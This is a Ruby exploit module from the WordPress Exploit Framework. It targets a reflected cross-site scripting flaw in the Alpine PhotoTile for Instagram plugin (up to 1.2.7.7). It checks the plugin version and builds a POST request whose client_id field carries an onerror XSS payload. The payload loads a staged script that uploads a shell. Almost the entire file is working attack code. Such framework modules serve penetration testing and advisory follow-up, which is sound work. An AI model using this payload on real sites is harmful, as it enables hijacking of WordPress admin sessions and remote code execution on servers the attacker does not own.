# frozen_string_literal: true

class Wpxf::Exploit::AlpinePhotoTileForInstagramReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Alpine PhotoTile for Instagram <= 1.2.7.7 Reflected XSS Shell Upload',
      author: [
        'Antonis Manaras', # Disclosure
        'rastating'        # WPXF module
      ],
      references: [
        ['WPVDB', '8754'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_alpine_phototile_for_instagram_wordpress_plugin.html']
      ],
      date: 'Mar 02 2017'
    )
  end

  def check
    check_plugin_version_from_readme('alpine-photo-tile-for-instagram', '1.2.7.8')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=alpine-photo-tile-for-instagram-settings&tab=add')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'hidden' => 'Y',
      'add-user' => 'Y',
      'client_id' => "<\\/script><img src=x onerror=#{xss_ascii_encoded_include_script}>",
      'client_secret' => Utility::Text.rand_alphanumeric(10)
    )
  end
end
